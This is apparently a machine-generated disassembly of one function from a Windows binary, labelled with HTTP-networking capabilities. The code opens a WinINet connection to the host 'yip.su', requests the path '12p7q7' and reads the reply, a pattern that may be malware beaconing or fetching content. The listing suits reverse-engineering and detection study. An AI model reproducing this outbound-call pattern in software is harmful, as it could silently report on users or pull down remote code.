Function at 0x403c06
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
lea ebp, [esp - 0x4e8]
sub esp, 0x4e8
push 0xffffffffffffffff
push 0x446ffc
mov eax, dword fs:[0]
push eax
sub esp, 0x50
mov eax, dword [0x45e014]
xor eax, ebp
mov dword [ebp + 0x4e4], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
mov dword [ebp + 0xe0], eax
mov dword [ebp - 4], 4
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x2c], al
mov eax, dword [ebp + 0x530]
inc eax
mov dword [ebp - 0x18], 0xf
push eax
mov dword [ebp + 0xe0], 1
call fcn.004097f3
lea eax, [ebp + 0x520]
push eax
lea ecx, [ebp - 0x2c]
call fcn.004079af
push 0x20
lea ecx, [ebp - 0x2c]
call fcn.004084b4
lea eax, [ebp + 0x508]
push eax
lea ecx, [ebp - 0x2c]
call fcn.004079af
push eax
lea ecx, [ebp - 0x44]
call fcn.004079f0
mov dword [ebp + 0xe0], 3
push 0x20
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 5
call fcn.004084b4
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0x5c]
call fcn.004079f0
push 7
pop ebx
mov dword [ebp + 0xe0], ebx
lea eax, [ebp + 0x538]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0x5c]
call fcn.004079af
push eax
lea ecx, [ebp + 0xb0]
call fcn.004079f0
lea ecx, [ebp - 0x5c]
call fcn.00408464
lea ecx, [ebp - 0x44]
call fcn.00408464
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0xa
call fcn.00408464
cmp dword [ebp + 0xc4], 0x10
lea ecx, [ebp + 0xb0]
mov edi, dword [ebp + 0xc0]
lea esi, [ebp + 0xb0]
cmovae ecx, dword [ebp + 0xb0]
add edi, ecx
mov dword [ebp + 0xdc], ebx
cmp dword [ebp + 0xc4], 0x10
lea ecx, [ebp + 0xc8]
cmovae esi, dword [ebp + 0xb0]
xor eax, eax
and dword [ebp + 0xd8], 0
mov word [ebp + 0xc8], ax
mov eax, edi
sub eax, esi
push eax
call fcn.00409734
lea eax, [ebp + 0xc8]
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 0xb
jmp 0x403d87
movsx ax, byte [esi]
lea ecx, [ebp + 0xc8]
movzx eax, ax
push eax
call fcn.0040a1c4
inc esi
cmp esi, edi
jne 0x403d73
mov byte [ebp - 4], 0xc
lea eax, [ebp + 0xc8]
cmp dword [ebp + 0xdc], 8
cmovae eax, dword [ebp + 0xc8]
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push eax
mov byte [ebp - 0xd], bl
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x403e73
push 1
push ebx
push 3
push ebx
push ebx
push 0x50
push str.yip.su
push eax
call dword [sym.imp.WININET.dll_InternetConnectW]
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ebx, eax
test ebx, ebx
je 0x403e5d
push 1
push 0x400000
xor eax, eax
push eax
push eax
push eax
push str.12p7q7
push 0x456e8c
push ebx
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov esi, eax
test esi, esi
je 0x403e5a
xor eax, eax
push eax
push eax
push eax
push eax
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
je 0x403e57
push 0xb0
lea eax, [ebp]
push 0
push eax
call fcn.00423ab0
push ecx
lea ecx, [ebp]
call fcn.004074de
mov byte [ebp - 4], 0xd
cmp dword [ebp + 0x50], 0
jne 0x403f07
lea ecx, [ebp + 0x68]
call fcn.0040749b
lea eax, [ebp + 0x68]
mov byte [ebp - 4], 0xe
push eax
mov dword [ebp + 0x68], vtable.std::ios_base.0
call fcn.0040f09d
pop ecx
push esi
call edi
push ebx
call edi
push dword [ebp - 0x14]
call edi
cmp byte [ebp - 0xd], 0
je 0x403e73
push str.start_news.html
call fcn.00426f80
pop ecx
lea ecx, [ebp + 0xc8]
call fcn.0040839a
lea ecx, [ebp + 0xb0]
call fcn.00408464
lea ecx, [ebp + 0x4f0]
call fcn.00408464
lea ecx, [ebp + 0x508]
call fcn.00408464
lea ecx, [ebp + 0x520]
call fcn.00408464
lea ecx, [ebp + 0x538]
call fcn.00408464
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x4e4]
xor ecx, ebp
call fcn.00421907
add ebp, 0x4e8
leave
ret
mov eax, dword [ebp + 0xe0]
test eax, eax
je 0x403e3a
cmp eax, 0x400
jae 0x403f2a
lea edx, [ebp + 0xe4]
mov byte [ebp + eax + 0xe4], 0
lea ecx, [ebp]
call fcn.00408bae
mov byte [ebp - 0xd], 1
lea eax, [ebp + 0xe0]
push eax
push 0x3ff
lea eax, [ebp + 0xe4]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x403ed8
jmp 0x403e3a
call fcn.00421a3e
int3